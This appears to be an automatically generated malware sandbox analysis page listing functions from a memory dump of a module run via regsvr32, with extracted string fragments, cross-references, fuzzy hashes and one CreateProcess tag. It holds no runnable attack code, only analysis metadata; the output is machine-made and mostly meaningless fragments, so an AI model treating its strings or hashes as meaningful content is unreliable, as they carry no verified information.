Function 0000000180013994 Relevance: 6.5, Strings: 5, Instructions: 278COMMON

Download Yara Rule

Strings

5.A, xrefs: 0000000180013AB3
2k, xrefs: 0000000180013C87
Tv, xrefs: 0000000180013B60
|, xrefs: 0000000180013DF6
h, xrefs: 0000000180013BB0

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 2k$5.A$h$Tv$|
API String ID: 0-899094025
Opcode ID: db2f60ac8ea9c811a7e8a42be398396c7662d8ce257af2786f0ca87739e0812c
Instruction ID: fdc8e1fcc57a9d708ca924da4610569f3fbcb91b13fa75a00635c4e08a114872
Opcode Fuzzy Hash: db2f60ac8ea9c811a7e8a42be398396c7662d8ce257af2786f0ca87739e0812c
Instruction Fuzzy Hash: 2CE1B2B190474C8FDB69CFA8C48969DBFF1FB48348F20421DE869AB262D7749945CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A10C Relevance: 6.5, Strings: 5, Instructions: 210COMMON

Download Yara Rule

Strings

`H, xrefs: 000000018001A2CF
TaK, xrefs: 000000018001A1B7
_, xrefs: 000000018001A296
T, xrefs: 000000018001A166
h, xrefs: 000000018001A205

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: `H$h$T$TaK$_
API String ID: 963392458-2145750592
Opcode ID: ffc2d6b317b26a71c8140759e67952dd965db1d69b0c3f8b48f7c1dc501504e9
Instruction ID: 3659a6701c3bc18b063cae63192a65d6a0dab5b7a081606fb1710f1fc1c5873b
Opcode Fuzzy Hash: ffc2d6b317b26a71c8140759e67952dd965db1d69b0c3f8b48f7c1dc501504e9
Instruction Fuzzy Hash: 8FA10771D087188FDB68DFA9D8856CDBBF1FB48308F20421DE45AA7252DB70A945CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002975C Relevance: 5.5, Strings: 4, Instructions: 484COMMON

Download Yara Rule

Strings

^K, xrefs: 0000000180029AD7
{NC, xrefs: 0000000180029C32
L>yL, xrefs: 0000000180029A5A
Bwu, xrefs: 0000000180029EFD

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Bwu$L>yL${NC$^K
API String ID: 0-3175627499
Opcode ID: 50b0aea139128d6f7c402ec74795df524ca4165021b819f0d064fd60e31d3d12
Instruction ID: fbf4dbbb098cc7df43bbc7889590cb4d1f5602d02220e4776b40022e4a41187c
Opcode Fuzzy Hash: 50b0aea139128d6f7c402ec74795df524ca4165021b819f0d064fd60e31d3d12
Instruction Fuzzy Hash: 13322B70908B488FE769CF78C48665EBBF0FB84748F204A1DE6A697270DB749945CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021738 Relevance: 5.5, Strings: 4, Instructions: 483COMMON

Download Yara Rule

Strings

Od^v, xrefs: 0000000180021933
dS, xrefs: 0000000180021E7D
N'}, xrefs: 0000000180021C2C
%, xrefs: 00000001800220F1

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$N'}$Od^v$dS
API String ID: 0-4183360357
Opcode ID: 3e0f3c17ca57f4ad1f3f1084ac04447848ab7be5cba89c2bccd8803fee9248a0
Instruction ID: 281f3f4e81126c35bb2be7146c604e5ee0be10d432db17f45780181539d507de
Opcode Fuzzy Hash: 3e0f3c17ca57f4ad1f3f1084ac04447848ab7be5cba89c2bccd8803fee9248a0
Instruction Fuzzy Hash: 3342D9B190438C8BDBB8CF64C8896DD7BF1FB48318F50852DDA199B251DBB05685CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800252C0 Relevance: 5.3, Strings: 4, Instructions: 285COMMON

Download Yara Rule

Strings

+Gq, xrefs: 0000000180025679
sH, xrefs: 00000001800254B9
|deb, xrefs: 000000018002537F
__Z%, xrefs: 000000018002535D

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: +Gq$__Z%$|deb$sH
API String ID: 0-2072550713
Opcode ID: 094eb7f958d011cdb8ce81038bafb84045d4698861e966cd2ff6582630ea1e3f
Instruction ID: 26b4cb1fb47336c1432c1659c452027cf20818b998f95a2bcb6bb32f36742f2f
Opcode Fuzzy Hash: 094eb7f958d011cdb8ce81038bafb84045d4698861e966cd2ff6582630ea1e3f
Instruction Fuzzy Hash: 0FD1137160270DCBDB68DF28C68A6DE3BE1FF48308F504129FC5A96262D774D929CB49

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000403C Relevance: 5.3, Strings: 4, Instructions: 279COMMON

Download Yara Rule

Strings

5P, xrefs: 00000001800044DE
xX, xrefs: 0000000180004380
:=, xrefs: 000000018000423F
8r, xrefs: 000000018000410D

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 5P$8r$:=$xX
API String ID: 0-2901174047
Opcode ID: 6865726b2104b4eb7ff299f8486c8d696ddfefbd7c25c2068e726a6c762a58db
Instruction ID: 9c4e4b6ab2cee8fe4f9bfbf45665c48137a45671121b1b9ae43ff9fbf3dba1fc
Opcode Fuzzy Hash: 6865726b2104b4eb7ff299f8486c8d696ddfefbd7c25c2068e726a6c762a58db
Instruction Fuzzy Hash: 35E1357191034D9BCB88DF64C8899DD7BF1FB48398F516219FC4AAB260C7789585CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019178 Relevance: 5.3, Strings: 4, Instructions: 258COMMON

Download Yara Rule

Strings

WW, xrefs: 0000000180019528
&, xrefs: 0000000180019348
Ro, xrefs: 0000000180019427
X|, xrefs: 000000018001950F

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &$Ro$X|$WW
API String ID: 0-419055892
Opcode ID: ca40c88e9c0bb890938dc8e49850b9c6f80446ec0944c9f0783c0d192955d258
Instruction ID: 8aa2c3e6b8818245adabd520600babaa531b4d52059a868131a34f3b668756e0
Opcode Fuzzy Hash: ca40c88e9c0bb890938dc8e49850b9c6f80446ec0944c9f0783c0d192955d258
Instruction Fuzzy Hash: 1EC1FDB150570DCBDB68CF28C58A6DE3BE5FB48308F108129FC5A9B2A0D774EA59CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F0A8 Relevance: 5.2, Strings: 4, Instructions: 246COMMON

Download Yara Rule

Strings

6), xrefs: 000000018001F229
uxX4, xrefs: 000000018001F1AC
tR, xrefs: 000000018001F0FE
tR, xrefs: 000000018001F405

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: tR$tR$uxX4$6)
API String ID: 0-566208085
Opcode ID: c081e77f49af2eaf56923f63e50e632cb9bf55942161f3f8d2179c3bd288189e
Instruction ID: 21dbc208fb27f88b672f000d339ef1a4b78a4386f06e48fd8b1f03ba1e8317ad
Opcode Fuzzy Hash: c081e77f49af2eaf56923f63e50e632cb9bf55942161f3f8d2179c3bd288189e
Instruction Fuzzy Hash: 84D1E5705087CC8BDBFEDF68C8857DA7BA8FB44748F104219EA0A9E269CB745749CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018BDC Relevance: 5.2, Strings: 4, Instructions: 245COMMON

Download Yara Rule

Strings

`by, xrefs: 0000000180018DC2
57, xrefs: 0000000180018BFC
7|, xrefs: 0000000180018F55
K-~, xrefs: 0000000180018C6B

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 57$7|$K-~$`by
API String ID: 0-1764728439
Opcode ID: 3d75101ad2ff9bc1d340fad9c74c74685bf15c99ef7bfcf0826df8ee18983ab7
Instruction ID: 0ef0f182f1da72c174031fc5be9a225670cb57be642fb1d84f9edf9d7426cf45
Opcode Fuzzy Hash: 3d75101ad2ff9bc1d340fad9c74c74685bf15c99ef7bfcf0826df8ee18983ab7
Instruction Fuzzy Hash: 5EC1227510160CCBDBA8DF38C48A6DD3BE1FF58308F605129FC2A9A266C7B4D959CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B350 Relevance: 5.2, Strings: 4, Instructions: 243COMMON

Download Yara Rule

Strings

DgQ, xrefs: 000000018000B714
"*, xrefs: 000000018000B6F1
6i, xrefs: 000000018000B5D1
#X, xrefs: 000000018000B6A4

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$"*$DgQ$6i
API String ID: 0-2770996495
Opcode ID: 820f3a7f2831d7bc6be119a51f5435b60720529f940ec106d6c272ece28fcda8
Instruction ID: 504b32a01a029d54a9cc7c4b79b1c57dce6396aa3b2efbc72770fc67d95dc726
Opcode Fuzzy Hash: 820f3a7f2831d7bc6be119a51f5435b60720529f940ec106d6c272ece28fcda8
Instruction Fuzzy Hash: CCB10871A0870CABDFA9DFA8E4896DDBBF1FB44344F00451DE446A7290DB749A0ECB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028998 Relevance: 5.2, Strings: 4, Instructions: 216COMMON

Download Yara Rule

Strings

p, xrefs: 0000000180028A07
p, xrefs: 00000001800289F5
iJ"], xrefs: 0000000180028B69
O:M, xrefs: 0000000180028A0E

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O:M$iJ"]$p$p
API String ID: 0-2745201584
Opcode ID: c580725723075c93842e669fadfa9b9fa9ca71e2e3fa7497301af4adcf51def7
Instruction ID: 8b688321e04c0e646b0fc78ee6d67cd940f90a9f6723fb1f8222d7259e9641f4
Opcode Fuzzy Hash: c580725723075c93842e669fadfa9b9fa9ca71e2e3fa7497301af4adcf51def7
Instruction Fuzzy Hash: 8AB10070D143098BCB89DFA8D486AEEBBF0FB48304F14851EE856B7250D7749A44CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25E01 Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 0-1867057952
Opcode ID: 2a9d8457aa34911385b660402f71547a5181f90184c5f28ce50b42f7ee7f8c58
Instruction ID: 7eafebeb16ca57a5525b51ed0f378306bc52b64ad103bedb915b9118f6e813be
Opcode Fuzzy Hash: 2a9d8457aa34911385b660402f71547a5181f90184c5f28ce50b42f7ee7f8c58
Instruction Fuzzy Hash: 1A810C36A18B4586DB94CF59E49072EB7A0F3C4794F610526EACD87BA8DBBED441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016AF4 Relevance: 5.1, Strings: 4, Instructions: 143COMMON

Download Yara Rule

Strings

6fA, xrefs: 0000000180016CBF
9\D, xrefs: 0000000180016BDC
OG3, xrefs: 0000000180016D08
8(', xrefs: 0000000180016CE5

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8('$6fA$9\D$OG3
API String ID: 0-2292045659
Opcode ID: 075f2f4683c67ac2050461b4b976e23f7824189084b04fb6fcbf6660b49be205
Instruction ID: ef0df636cc5d4b1adb12f513697d006f7e6ff77cbfd46ce7bca5e6c4611c7a17
Opcode Fuzzy Hash: 075f2f4683c67ac2050461b4b976e23f7824189084b04fb6fcbf6660b49be205
Instruction Fuzzy Hash: 6E8166B591130DCFDB98CF28C18A5CA3BA8FF55318F00412AFC1E9A264D3B4E959CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020AA0 Relevance: 5.1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

Strings

IzY, xrefs: 0000000180020AE3
0Oa, xrefs: 0000000180020BBD
!j, xrefs: 0000000180020B50
w4, xrefs: 0000000180020B7E

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !j$IzY$w4$0Oa
API String ID: 0-1210086663
Opcode ID: d22984424f9e842513d0b81fbf00519d97f66b1438588327bee25b78db1a615b
Instruction ID: d6ae16ce1753066c3a100fad89cd7b933425bd3752a83aacc50f13ca8011d066
Opcode Fuzzy Hash: d22984424f9e842513d0b81fbf00519d97f66b1438588327bee25b78db1a615b
Instruction Fuzzy Hash: 4E41CFB090034E8BCF88CF65C48A5DE7FB0FB68358F104619E916A6250D7B896A9CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002AF38 Relevance: 4.1, Strings: 3, Instructions: 363COMMON

Download Yara Rule

Strings

>q, xrefs: 000000018002B2D9
>q, xrefs: 000000018002B162
!fl, xrefs: 000000018002B3C2

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !fl$>q$>q
API String ID: 0-3196423155
Opcode ID: dccb224850b43dda665c2028c8e90cf7ac528c4769e1ed18f59b4bae66e0f67a
Instruction ID: 6e0169028e0bb78a63dbed9d1dbc36ce20ef11fe4735bb4ca27ada0b4c61fd75
Opcode Fuzzy Hash: dccb224850b43dda665c2028c8e90cf7ac528c4769e1ed18f59b4bae66e0f67a
Instruction Fuzzy Hash: 18022574A0670CDBCBA9CFA8E48A69DBBF1FF14388F104119F816A7261C7B49919CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006B24 Relevance: 4.0, Strings: 3, Instructions: 284COMMON

Download Yara Rule

Strings

HG, xrefs: 0000000180006E14
"Gd, xrefs: 0000000180006E8F
C2, xrefs: 0000000180006EBC

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "Gd$C2$HG
API String ID: 0-142661339
Opcode ID: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction ID: f3040b85d87bafdcd4b0814e46a5c4b4479db0c4bbfe4c952327208bca537128
Opcode Fuzzy Hash: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction Fuzzy Hash: 20C112719047CD8FDB89CFA8C88A6ED7BB1FB48354F104229F80697660DBB4D949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023624 Relevance: 4.0, Strings: 3, Instructions: 282COMMON

Download Yara Rule

Strings

Vu9(, xrefs: 0000000180023B25
QZB, xrefs: 0000000180023706
W1Z, xrefs: 0000000180023A69

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: QZB$Vu9($W1Z
API String ID: 0-4157987319
Opcode ID: 1f5c37778751f5a7f2813f46734b265b9b5d3f173c04e1f04c47467fdefc8410
Instruction ID: f699ba934c7511d53ebf66ced97cbd47477d8f387fb8544ab73dfc8f8e8f4cc9
Opcode Fuzzy Hash: 1f5c37778751f5a7f2813f46734b265b9b5d3f173c04e1f04c47467fdefc8410
Instruction Fuzzy Hash: 7DE1E870505B888FDBB9DF24CC897EBBBE1FB84705F10551EE84A9A290DBB49648CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A26C Relevance: 4.0, Strings: 3, Instructions: 277COMMON

Download Yara Rule

Strings

1c+, xrefs: 000000018000A683
#X, xrefs: 000000018000A546
,p, xrefs: 000000018000A3A5

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$1c+$,p
API String ID: 0-4193689514
Opcode ID: 870c2a5dff4c858b49c61e00ad2e43c057056019502a976b576cc033676d3952
Instruction ID: a14642629d5f8cbd2a1e8fb09d7711f81952208659678b8c12dc59c418106fb0
Opcode Fuzzy Hash: 870c2a5dff4c858b49c61e00ad2e43c057056019502a976b576cc033676d3952
Instruction Fuzzy Hash: A0F166B5906749CFCB88DF68C28A58D7BF1BF59304F404129FC1A9A260D3B4E529CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018628 Relevance: 4.0, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

F, xrefs: 00000001800186FC
o1, xrefs: 0000000180018668
:a, xrefs: 000000018001871C

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :a$o1$F
API String ID: 0-2167756397
Opcode ID: 1dc69b1f9148db4d8f727193868d76463b7f9b687988be903e8d180db9dc4b1f
Instruction ID: c7b3f013bdef5c33efa64e5817367d2177fa9b070e37e7fa0e85b95e6b1d5a97
Opcode Fuzzy Hash: 1dc69b1f9148db4d8f727193868d76463b7f9b687988be903e8d180db9dc4b1f
Instruction Fuzzy Hash: 24A10170514609DFCB98DF28C58A6DE3BE1FF58318F40822AFC0A9B264C774DA58DB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008C9C Relevance: 3.9, Strings: 3, Instructions: 186COMMON

Download Yara Rule

Strings

|, xrefs: 0000000180008E82
"7F, xrefs: 0000000180008FC6
hso, xrefs: 0000000180009054

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "7F$hso$|
API String ID: 0-2223032787
Opcode ID: a1c5852e2975669cd72ae99173752b080c1a60bb39e1eda62f5b8b24312d50f2
Instruction ID: 597be8bf6f8274430a7b1b716aee764a508e33f64a18c5174bbc12e988f7dea5
Opcode Fuzzy Hash: a1c5852e2975669cd72ae99173752b080c1a60bb39e1eda62f5b8b24312d50f2
Instruction Fuzzy Hash: CDA1E7716057888FEB7ADF64C8AA7DE7BA1FF59308F40461DD98E8E250C7B45608CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800090B4 Relevance: 3.9, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

ktw, xrefs: 00000001800091B2
l$6, xrefs: 0000000180009270
eG, xrefs: 00000001800090E5

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: eG$ktw$l$6
API String ID: 0-3696190584
Opcode ID: cfb728ef8011932e57c4461def4d81df8b30877acb09ef5991ab02cb5d25377a
Instruction ID: ec7ece3e5b0c03f4df558a0a1733d02cea5b85f33e09dae2f6683fda9d55fcb2
Opcode Fuzzy Hash: cfb728ef8011932e57c4461def4d81df8b30877acb09ef5991ab02cb5d25377a
Instruction Fuzzy Hash: E47114B0509708EFCB98DF68C089A9E7BB1FB88344F40C52EE849DB264C775DA19CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004B18 Relevance: 3.9, Strings: 3, Instructions: 148COMMON

Download Yara Rule

Strings

Z9s, xrefs: 0000000180004C94
%Di|, xrefs: 0000000180004BAF
6qp, xrefs: 0000000180004CB3

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %Di|$6qp$Z9s
API String ID: 0-2690900941
Opcode ID: 036a56b574e0cc9d8bbe6e2c16f1c72bf3a7a337ff5cb561951f94e63896fd73
Instruction ID: 2c0d7369d6c4e2fe59306caeaa3cf354025216a739d91ba443ab140e2def37b4
Opcode Fuzzy Hash: 036a56b574e0cc9d8bbe6e2c16f1c72bf3a7a337ff5cb561951f94e63896fd73
Instruction Fuzzy Hash: 9C61257191070C9BCB88CF24C8C96DE7BB1FB483A8F556219FC0AAA294C7749985CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007678 Relevance: 3.9, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

vv5, xrefs: 000000018000780B
Fl, xrefs: 0000000180007874
Fl, xrefs: 000000018000787C

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Fl$Fl$vv5
API String ID: 0-3053741108
Opcode ID: 56c6ca64a2739fcec8bf5f3302d493d90fa60cbb6fd5cd63e6a43fd0d8d3c1f6
Instruction ID: 55f6967587c9a541224425d329b03615816d53db549f94b6db3b05c8e91cbb03
Opcode Fuzzy Hash: 56c6ca64a2739fcec8bf5f3302d493d90fa60cbb6fd5cd63e6a43fd0d8d3c1f6
Instruction Fuzzy Hash: FC511A70E4870CAFDB69DFA8E0866DDBBF1FB58344F004519E40AE7291DB74990ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016DA8 Relevance: 3.9, Strings: 3, Instructions: 133COMMON

Download Yara Rule

Strings

nn, xrefs: 0000000180016DF3
nn, xrefs: 0000000180017044
H8, xrefs: 0000000180016F99

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: H8$nn$nn
API String ID: 0-4263809824
Opcode ID: 01947e023cac002b8a0a3e4f78c79794eac0dde5bb4d18b8413bbe4288169ddb
Instruction ID: 3c01ac5d5c2d3476a5cfb8eba6abf236e6c64549312703f260b6bb5002efdfbd
Opcode Fuzzy Hash: 01947e023cac002b8a0a3e4f78c79794eac0dde5bb4d18b8413bbe4288169ddb
Instruction Fuzzy Hash: 5361D67555878CCBEBBADF38CC897D97BB1FB48344F908219D80E8A260DB7457498B41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028348 Relevance: 3.9, Strings: 3, Instructions: 130COMMON

Download Yara Rule

Strings

}]{, xrefs: 0000000180028494
%Nz, xrefs: 0000000180028375
,7%, xrefs: 0000000180028597

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %Nz$,7%$}]{
API String ID: 0-2809531587
Opcode ID: 676dc21c0f372b2db907baa94ef17c562d056d3d3dc12d9c581eeda360082d12
Instruction ID: b36c8970f11ad41429e233920f6dac2517fe43d92b96f19f813f385ea8bb4fb2
Opcode Fuzzy Hash: 676dc21c0f372b2db907baa94ef17c562d056d3d3dc12d9c581eeda360082d12
Instruction Fuzzy Hash: B771E470448788CBEBB5DF24C8856DEBBE4FB88744F60451DE9598B260DB749688CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001ACB4 Relevance: 3.9, Strings: 3, Instructions: 124COMMON

Download Yara Rule

Strings

f41, xrefs: 000000018001ACEA
,mQ, xrefs: 000000018001AE53
c, xrefs: 000000018001ACDC

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,mQ$f41$c
API String ID: 0-1594525360
Opcode ID: 7f89cf11389eafb96d04b6400e87a1f2a1e5a7f99f0c72ab3958d5ee7197d732
Instruction ID: ca916729033610084f534c396dc33c1afc583cc00ddec4c12c7a73cc6334aceb
Opcode Fuzzy Hash: 7f89cf11389eafb96d04b6400e87a1f2a1e5a7f99f0c72ab3958d5ee7197d732
Instruction Fuzzy Hash: AD51C071D0424C8BCB48DFA9E98A9DDBBF0FB48348F11820DE85AB7261C7749905CF69

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001370C Relevance: 3.8, Strings: 3, Instructions: 99COMMON

Download Yara Rule

Strings

%s, xrefs: 0000000180013864
$q~, xrefs: 0000000180013787
R3, xrefs: 0000000180013876

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $q~$%s$R3
API String ID: 0-2520873970
Opcode ID: 3d3ced99ac42584346b8bad3007d62ef26daa4ae2805a0976e45a495c47b2b96
Instruction ID: 49708784934b6f27b099c9a4c0d62a5c340693359db0e98dd39e1096da177659
Opcode Fuzzy Hash: 3d3ced99ac42584346b8bad3007d62ef26daa4ae2805a0976e45a495c47b2b96
Instruction Fuzzy Hash: 2D414870508784DBD398CF18C0DA65EBBF1FB853A4FA0691DF583862A4DB75D9898B03

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800061A0 Relevance: 3.8, Strings: 3, Instructions: 89COMMON

Download Yara Rule

Strings

|', xrefs: 00000001800061CE
